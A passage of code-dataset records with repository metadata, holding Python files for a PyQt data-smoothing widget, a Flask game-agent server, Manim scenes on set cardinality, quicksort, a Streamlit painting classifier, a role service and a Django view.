'_n{}'.format(xoy), i)\n if self._initialized:\n self._update_smooth_data()\n\n @pyqtSlot('QString')\n def on_update_smethod(self, s):\n meth, info = SMOOTH_METH[s]\n self.method_info_le.setText(info)\n self._smooth_method = meth\n if self._initialized:\n self._update_smooth_func()\n self._update_smooth_data()\n\n def _update_smooth_func(self):\n print(\"Update smooth func on '{}'\".format(self._smooth_method))\n self._interp_f = interpolate.interp2d(self._x, self._y, self._data,\n kind=self._smooth_method)\n\n def _update_smooth_data(self):\n print(\"Smooth data with Nx: {}, Ny: {}\".format(self._nx, self._ny))\n xs = np.linspace(self._x.min(), self._x.max(), self._nx)\n ys = np.linspace(self._y.min(), self._y.max(), self._ny)\n xx, yy = np.meshgrid(xs, ys)\n zz = self._interp_f(xs, ys)\n o = self.matplotlibimageWidget\n o.setXData(xx)\n o.setYData(yy)\n o.update_image(zz)\n\n def init_data(self):\n \"\"\"Initialize data.\n \"\"\"\n print(\"Initialize data...\")\n data = self.parent.get_data()\n xx = self.parent.getXData()\n yy = self.parent.getYData()\n x, y = xx[0,:], yy[:,0]\n self._x = x\n self._y = y\n self._data = data\n\n o = self.matplotlibimageWidget\n p = self.parent\n o.setFigureXlabel(p.getFigureXlabel())\n o.setFigureYlabel(p.getFigureYlabel())\n o.setFigureTitle(p.getFigureTitle())\n o.setColorMap(p.getColorMap())\n\n # post init\n self._reconfig_ui()\n self._update_smooth_func()\n self._update_smooth_data()\n\n self._initialized = True\n\n def _reconfig_ui(self):\n # limit spinbox lower limit\n nx, ny = len(self._x), len(self._y)\n self._nx0, self._ny0 = nx, ny\n for n, o in zip((nx, ny), (self.nx_sbox, self.ny_sbox)):\n o.setMinimum(n)\n o.setValue(2.0 * n)\n\n def _show_surface_view(self, o, f, alpha):\n import matplotlib.pyplot as plt\n from mpl_toolkits.mplot3d import Axes3D\n\n z = o.get_data()\n x = o.getXData()\n y = o.getYData()\n cm = o.getColorMap()\n xlbl = o.getFigureXlabel()\n ylbl = o.getFigureYlabel()\n\n fig = plt.figure(\"View in 3D Surface\", figsize=(10, 8))\n ax = fig.add_subplot(111, projection='3d')\n ax.plot_surface(x, y, z, cmap=cm, alpha=alpha)\n ax.contour(x, y, z, zdir='z', offset=z.min() * f, cmap=cm)\n ax.contour(x, y, z, zdir='x', offset=x.min() * f, cmap=cm)\n ax.contour(x, y, z, zdir='y', offset=y.max() * f, cmap=cm)\n ax.set_xlim(x.min() * f, x.max() * f)\n ax.set_ylim(y.min() * f, y.max() * f)\n ax.set_zlim(z.min() * f, z.max() * f)\n ax.set_xlabel(xlbl)\n ax.set_ylabel(ylbl)\n plt.show()\n\n def _show_heatmap_view(self, o, alpha):\n try:\n import seaborn as sns\n except ModuleNotFoundError:\n QMessageBox.warning(self, \"Module Not Found\",\n \"Python package 'seaborn' is not found.\",\n QMessageBox.Ok)\n return\n\n import matplotlib.pyplot as plt\n\n z = o.get_data()\n x = o.getXData()\n y = o.getYData()\n cm = o.getColorMap()\n xlbl = o.getFigureXlabel()\n ylbl = o.getFigureYlabel()\n\n fig = plt.figure(\"View in Heatmap\", figsize=(10, 8))\n ax = fig.add_subplot(111)\n sns.heatmap(z, ax=ax, cmap=cm, alpha=alpha, linewidth=0.01)\n ax.set_xlabel(xlbl)\n ax.set_ylabel(ylbl)\n plt.show()\n","repo_name":"phantasy-project/mpl4qt","sub_path":"mpl4qt/widgets/fitting.py","file_name":"fitting.py","file_ext":"py","file_size_in_byte":5881,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"6337744958","text":"# bin/sh/python3\n\"\"\" This Module contains the server and main class of our informaticup 2020 project.\n Agent Type is a Q-Learning-Agent.\n\"\"\"\nimport argparse\nimport json\nimport logging\nimport logging.config\nimport time\n\nfrom flask import (Flask, Blueprint, render_template)\nfrom flask_cors import CORS\nfrom flask import request\n\nimport common.data_processing.utils\nfrom common.d3t_agent.TorchAgent import TorchAgent\nfrom common.data_processing.state_extractor import GameState\n\napp = Flask(__name__) # pylint: disable=C0103\n# This makes AJAX to work properly\nCORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\n\nbp = Blueprint('map', __name__, url_prefix='/map')\n\n# Disable flask default logging\nlog = logging.getLogger('werkzeug')\nlog.disabled = True\n\narg_parser = argparse.ArgumentParser(\n description=\"Twin (Delayed) Deep Deterministic Policy Gradient Actor to play Pandemie using PyTorch. \"\n \"This program is to be handed in at the 'Gesellschaft für Informatik' InformatiCup 2020. \"\n \"Developed at University of Oldenburg.\"\n)\n\narg_parser.add_argument(\"-l\", \"--logging\",\n help=\"Generates a csv of counter,win/loss,round.\",\n action=\"store_true\")\n\narg_parser.add_argument(\"-p\", \"--port\",\n help=\"Sets port.\",\n action=\"store\",\n )\narg_parser.add_argument(\"-vi\", \"--visualisation\",\n help=\"Generates visualisations if set.\",\n action=\"store_true\")\nstartup_args = arg_parser.parse_args()\nvisuals = startup_args.visualisation\n\n# Loading agent\nagent: TorchAgent = TorchAgent()\nmodel_dir = \"pytorch_models\"\ndirs = f\"./{model_dir}\"\nagent.load(dirs)\nagent.exploration_rate = 0\nprint(\"Loaded max\")\n# Loading Logger\ncsv_logger = startup_args.logging\ngame_counter = 0\n\n@app.route('/', methods=['GET', 'POST'])\ndef process_request():\n \"\"\"This function provides the server for our project. Also main class.\n When we get the Game.json receive over 'POST' we get am instance of class state.\n In this class we parse the json in a structure we need for the neuronal network and further processing.\n We check every round if we win or loss the game. In case the game is over we train the neuronal network.\n Deterministic tells if the agent should always take the greedy function, or explore further.\n Training tells if the agent should learn after playing a game.\n \"\"\"\n global agent, game_counter, visuals # pylint: disable=C0103, global-statement\n\n logging.basicConfig(filename='example.log', level=logging.DEBUG)\n game = request\n\n if game.method == 'POST':\n\n state = GameState(request.json)\n if visuals:\n global game_json\n game_json = game.json\n time.sleep(2)\n rounds = game.json[\"round\"]\n\n logging.info(\"Round: %s\" % rounds)\n\n if game.json['outcome'] == 'pending':\n response_ = agent.act(state)\n return response_\n else:\n game_counter = game_counter + 1\n print(f\"Spiel: {game_counter} ist vorbei - Runden: {game.json['round']} - Status: {game.json['outcome']}\")\n if game.json['outcome'] == 'loss':\n reward = -1 / rounds\n logging.info(\"Loss: %s\" % reward)\n\n elif game.json['outcome'] == 'win':\n reward = 1 / rounds\n logging.info(\"Win: %s\" % reward)\n\n logging.info(\"Reward would have been: %s\" % reward)\n\n if csv_logger:\n with open(\"log.csv\", \"a+\") as f:\n f.write(f\"{game_counter},{game.json['outcome']},{rounds},{reward}\\n\")\n\n logging.info(\"====================\")\n return \"end\"\n\n\n@app.route('/get_game_json', methods=['GET'])\ndef get_game_json():\n return json.dumps(game_json)\n\n\n@app.route('/map', methods=['GET'])\ndef get_map():\n return render_template('map.html')\n\n\nif __name__ == '__main__':\n app.register_blueprint(bp)\n app.run(debug=False, host='0.0.0.0', port=startup_args.port if startup_args.port else 50123, threaded=True)\n","repo_name":"theBigGron/infoCup","sub_path":"solution/TorchMain.py","file_name":"TorchMain.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13471329238","text":"from manim import *\nclass Intro(Scene):\n def construct(self):\n set=Tex(\"$\\{2,7,1,8\\}$\")\n card=Tex(\"$|\\{2,7,1,8\\}|=4$\")\n c=Tex(\"Cardinality\",color=GREEN).shift(DOWN*1)\n box=Rectangle(width=1,height=1,color=RED).shift(RIGHT*1.5)\n c1=Tex(\"Cardinal number\",color=RED).shift(RIGHT*2+UP*1)\n self.play(Write(set))\n self.wait(3)\n self.play(Transform(set,card))\n self.wait()\n self.play(Write(c))\n self.wait(2)\n self.play(Write(box))\n self.play(Transform(box,c1))\n self.wait(20)\n\nclass natural(Scene):\n def construct(self):\n nat=Tex(\"$\\{1,2,3,4,\\ldots \\}$\")\n natcar=Tex(\"$|\\{1,2,3,4,\\ldots \\}|=\\mathfrak{a}$\")\n reals=Tex(\"$\\mathbb{R}$\")\n reals1=Tex(\"$|\\mathbb{R}|=\\mathfrak{c}$\")\n eq=Tex(\"$=$\")\n gre=Tex(\"$<$\")\n pow=Tex(\"$2^\\mathfrak{a}$\").shift(DOWN*1)\n self.play(Write(nat))\n self.wait(8)\n self.play(Transform(nat,natcar))\n self.wait(1)\n self.play(nat.animate.shift(UP*1))\n self.wait(1)\n self.play(Write(reals))\n self.wait()\n self.play(Transform(reals,reals1))\n self.wait(7)\n self.play(reals.animate.shift(DOWN*1))\n self.play(Write(eq))\n self.wait(1)\n self.play(Transform(eq,gre))\n self.wait(5)\n self.play(Transform(reals,pow))\n self.wait(20)\n \nclass bij(Scene):\n def construct(self):\n count=Tex(\"$\\{a_1,a_2,a_3,\\ldots\\}$\").shift(UP*1)\n nat=Tex(\"$\\{1,2,3,\\ldots\\}$\").shift(DOWN*1)\n arrow1=Arrow(start=UP*1+LEFT*1,end=DOWN*1+LEFT*0.85,max_tip_length_to_length_ratio=0.15,color=YELLOW)\n arrow2=Arrow(start=UP*1+LEFT*0.325,end=DOWN*1+LEFT*0.35,max_tip_length_to_length_ratio=0.15,color=YELLOW)\n arrow3=Arrow(start=UP*1+RIGHT*0.35,end=DOWN*1+RIGHT*0.15,max_tip_length_to_length_ratio=0.15,color=YELLOW)\n aleph0=Tex(r\"$\\aleph_0$\")\n c=Tex(r\"$\\mathfrak{c}=2^{\\aleph_0}$\")\n self.play(Write(count))\n self.play(Write(nat))\n self.wait(3)\n self.play(Write(arrow1))\n self.play(Write(arrow2))\n self.play(Write(arrow3))\n self.wait(5)\n self.play(FadeOut(count,nat,arrow1,arrow2,arrow3))\n self.play(Write(aleph0))\n self.wait(13)\n self.play(Transform(aleph0,c))\n self.wait(20)\n\nclass aleph(Scene):\n def construct(self):\n aleph1=Tex(r\"$\\aleph_1$\",color=RED)\n ineq=Tex(r\"$\\aleph_0<\\aleph_1$\")\n state=Tex(r\"$\\nexists \\mathfrak{q}$ such that $\\aleph_0<\\mathfrak{q}<\\aleph_1$\")\n self.play(Write(aleph1))\n self.wait(4)\n self.play(Transform(aleph1,ineq))\n self.wait(1)\n self.play(aleph1.animate.shift(UP*1))\n self.wait(3)\n self.play(Write(state))\n self.wait(20)\n\nclass contin(Scene):\n def construct(self):\n cont=Tex(\"Continuum Hypothesis\",color=BLUE)\n s=Tex(\"$S$\")\n s1=Tex(\"$|S|$\")\n l=Tex(r\"$\\aleph_0<$\").shift(LEFT*1)\n r=Tex(r\"$<2^{\\aleph_0}$\").shift(RIGHT*1+UP*0.06)\n aleph=Tex(r\"$\\aleph_1=2^{\\aleph_0}$\")\n stat=Tex(\"such $S$ can't exist\",color=RED).shift(DOWN*1)\n c1=Tex(\"$S_1$\").shift(LEFT*0.5)\n c2=Tex(\"$S_2$\").shift(RIGHT*0.5)\n stat2=Tex(\"$|S_2|\\leq |S_1|\\leq 2^{|S_2|}$\")\n state1=Tex(\"$|S_2|=|S_1|$\")\n state2=Tex(\"$|S_1|=2^{|S_2|}$\")\n self.play(Write(cont))\n self.wait(2)\n self.play(FadeOut(cont))\n self.play(Write(s))\n self.wait()\n self.play(Transform(s,s1))\n self.wait(3)\n self.play(Write(l),Write(r))\n self.play(Write(stat))\n self.wait(2)\n self.play(FadeOut(l,r,s,stat))\n self.play(Write(aleph))\n self.wait(8)\n self.play(FadeOut(aleph))\n self.wait()\n self.play(Write(c1),Write(c2))\n self.wait(1)\n self.play(Transform(c1,stat2),Transform(c2,stat2))\n self.wait(2)\n self.play(Transform(c1,state1),Transform(c2,state1))\n self.wait(2)\n self.play(Transform(c1,state2),Transform(c2,state2))\n self.wait(20)\n\nclass indep(Scene):\n def construct(self):\n state1=Tex(\"CH can't be disproven from ZF\").shift(UP*1)\n state2=Tex(\"CH can't be proven from ZF\")\n state3=Tex(\"CH is independent from ZF\")\n self.play(Write(state1))\n self.wait(3)\n self.play(Write(state2))\n self.wait(6)\n self.play(Transform(state1,state3),Transform(state2,state3))\n self.wait(20)\n\nclass argu(Scene):\n def construct(self):\n foa=Tex(\"For or Against\",color=RED)\n godel=Tex(\"G$\\ddot{o}$del: Didn't believe CH\")\n cohen=Tex(\"Cohen: Tended to reject CH\").shift(DOWN*1)\n para=Tex(\"Skolem's Paradox\",color=GREEN).shift(UP*1)\n state=Tex(\"$u\\in B$\")\n uncount=Tex(\"(Uncountable)\",color=BLUE).shift(LEFT*2.3)\n count=Tex(\"(Countable)\",color=RED).shift(RIGHT*2)\n n=Tex(\"New axioms?\").shift(DOWN*1)\n w=Tex(\"W. Hugh Woodin\")\n star=Tex(\"Star-axioms\")\n imp=Tex(r\"$\\aleph_2=2^{\\aleph_0}$\",color=BLUE)\n qu=Tex(\"?\").shift(RIGHT*1.1)\n t=Tex(\"A supporting proof for star axioms!\").shift(DOWN*1)\n j=Tex(\"Joel David Hamkins\").shift(UP*1)\n state1=Tex(\"CH can't have a Truth value\")\n self.play(Write(godel))\n self.wait(15)\n self.play(Write(cohen))\n self.wait(10)\n self.play(FadeOut(godel,cohen))\n self.play(Write(para))\n self.wait(4)\n self.play(Write(state))\n self.wait()\n self.play(Write(uncount))\n self.play(Write(count))\n self.wait(5)\n self.play(Write(n))\n self.wait(7)\n self.play(FadeOut(para,state,count,uncount,n))\n self.play(Write(w))\n self.wait(2)\n self.play(w.animate.shift(UP*1))\n self.wait()\n self.play(Write(star))\n self.wait(2)\n self.play(Transform(star,imp))\n self.wait(5)\n self.play(Write(qu))\n self.wait(5)\n self.play(Write(t))\n self.wait()\n self.play(FadeOut(w,star,qu,t))\n self.wait()\n self.play(Write(j))\n self.wait(5)\n self.play(Write(state1))\n self.wait(20)\n\nclass cf(Scene):\n def construct(self):\n cof=Tex(\"Cofinal subsets of a set\").shift(UP*2)\n state1=Tex(\"$B\\subset A$\").shift(UP*1)\n state2=Tex(r\"$\\forall a\\in A, \\exists b\\in B$ such that $a\\leq b$\")\n state3=Tex(\"$cf(A)=min\\{|B|$ where $B$ is a cofinal subset of $A\\}$\").shift(DOWN*1)\n self.play(Write(cof))\n self.wait(2)\n self.play(Write(state1))\n self.wait(2)\n self.play(Write(state2))\n self.wait(4)\n self.play(Write(state3))\n self.wait(20)\n\nclass cons(Scene):\n def construct(self):\n one=Tex(r\"$\\aleph_{\\alpha}^{\\aleph_{\\beta}}=\\aleph_{\\beta+1}$ where $\\alpha\\leq\\beta+1$\",color=RED).shift(UP*1)\n two=Tex(r\"$\\aleph_{\\alpha}^{\\aleph_{\\beta}}=\\aleph_{\\alpha}$ where $\\beta+1\\leq\\alpha$ and $\\aleph_{\\beta}= pivot:\n larger_subarray.append(i)\n\n # 3 recursively swap\n sorted_lower_than_pivot = quicksort(smaller_subarray)\n sorted_larger_than_pivot = quicksort(larger_subarray)\n\n # 4 add together the partitions\n return sorted_lower_than_pivot + [pivot] + sorted_larger_than_pivot\n\n\nlst = [5, 2, 4, 6, 1, 3]\nprint(quicksort(lst))\n","repo_name":"ztbochanski/sorting-algorithms","sub_path":"quick_sort.py","file_name":"quick_sort.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17971161152","text":"import streamlit as st\nimport io\nimport os\nimport warnings\nimport torch\nfrom torchvision import transforms\nfrom PIL import Image\nwarnings.filterwarnings('ignore')\n\nMODEL_PATH = os.path.dirname(os.path.realpath(__file__)) + '/fine_art_classifier_model.pt'\nLABELS_PATH = os.path.dirname(os.path.realpath(__file__)) + '/model_classes.txt'\n\n\n@st.cache()\ndef load_model(model_path, categories):\n model = torch.hub.load('pytorch/vision:v0.6.0', 'vgg19', pretrained=True)\n model.classifier[6] = torch.nn.Linear(model.classifier[6].in_features, len(categories))\n checkpoint = torch.load(model_path, map_location=torch.device('cpu'))\n model.load_state_dict(checkpoint['state_dict'])\n model.eval()\n return model\n\n\n@st.cache()\ndef load_labels(labels_path):\n with open(labels_path, 'r') as f:\n categories = [s.strip() for s in f.readlines()]\n return categories\n\n\ndef load_image():\n uploaded_file = st.file_uploader(label='Upload an image of a fine art painting to test:')\n if uploaded_file is not None:\n image_data = uploaded_file.getvalue()\n st.image(image_data)\n return Image.open(io.BytesIO(image_data))\n else:\n return None\n\n\ndef predict(model, categories, image):\n preprocess_transforms = transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n ])\n input_tensor = preprocess_transforms(image)\n input_batch = input_tensor.unsqueeze(0)\n\n with torch.no_grad():\n output = model(input_batch)\n\n probabilities = torch.nn.functional.softmax(output[0], dim=0)\n all_prob, all_catid = torch.topk(probabilities, len(categories))\n\n for i in range(all_prob.size(0)):\n st.write(categories[all_catid[i]], all_prob[i].item())\n\n\nif __name__ == '__main__':\n st.set_page_config(page_title='Fine Art Painting Genre Classifier')\n st.title('Fine Art Painting Genre Classifier')\n st.subheader('This web app classifies the genre of a fine art painting')\n categories = load_labels(LABELS_PATH)\n model = load_model(MODEL_PATH, categories)\n image = load_image()\n result = st.button('Classify image')\n if result:\n st.write('Calculating results...')\n predict(model, categories, image)","repo_name":"textomatic/fine-art-classifier","sub_path":"app/streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"5954137514","text":"# app/services/entity_service.py\n\n\nfrom functools import reduce\nimport operator\n\nfrom marshmallow import ValidationError\nfrom mongoengine import Q\n\nfrom app.helpers.error_helpers import RegisterNotFound\nfrom app.helpers.document_metadata import getUniqueFields\nfrom app.services.generic_service import GenericServices\nfrom app.helpers.handler_messages import HandlerMessages\n\n\nclass RoleService(GenericServices):\n\n handlerMessages = HandlerMessages()\n\n def getAllRecords(self, filters=None, only=None, exclude=()):\n \"\"\"\n get all available roles records\n \"\"\"\n schema = self.Schema(only=only, exclude=exclude)\n\n if filters:\n filterList = []\n for f in filters:\n filterList.append(Q(**{f['field']: f['value']}))\n records = self.Model.objects(isDeleted=False, devName__ne='superadmin').filter(\n reduce(operator.and_, filterList)).order_by('name')\n else:\n records = self.Model.objects(\n isDeleted=False, devName__ne='superadmin').order_by('name')\n \n return {\"records\": schema.dump(records, many=True)}, 200\n\n def deleteRecord(self, recordId):\n \"\"\"\n Delete (change status False) a record\n \"\"\"\n from app.models.user_model import User\n\n record = self.getOr404(recordId)\n\n if record.isStandard:\n return {'status': 0, 'message': 'Standard role can not be deleted'}, 400\n\n entity = ''\n user = User.objects(\n isDeleted=False, userType__in=['1', '2', '3', '4'], role=recordId).first()\n if user:\n entity = 'AdminUser' if user.userType == '1' else 'CoordinatorUser' if user.userType == '2' else 'SponsorUser' if user.userType == '3' else 'SchoolUser'\n\n if entity:\n return {\n 'status': '0',\n 'entity': entity,\n 'msg': self.handlerMessages.getDeleteEntityMsg(entity)\n }, 419\n try:\n record.isDeleted = True\n record.save()\n except Exception as e:\n return {'status': 0, 'message': str(e)}, 400\n\n return {\"message\": \"Record deleted successfully\"}, 200\n","repo_name":"amblemaorg/amblema---backend","sub_path":"app/services/role_service.py","file_name":"role_service.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35314320051","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\n\n\ndef Posts(request):\n return HttpResponse('List Post')\n\ndef index(request):\n id = ''\n user_Id = ''\n title = ''\n body = ''\n return render(request, 'index.html',{\n 'id': id,\n 'user_Id': user_Id,\n 'title': title,\n 'body': body,\n })","repo_name":"OnceUponAtime2z/Dj_list_Api_post","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"}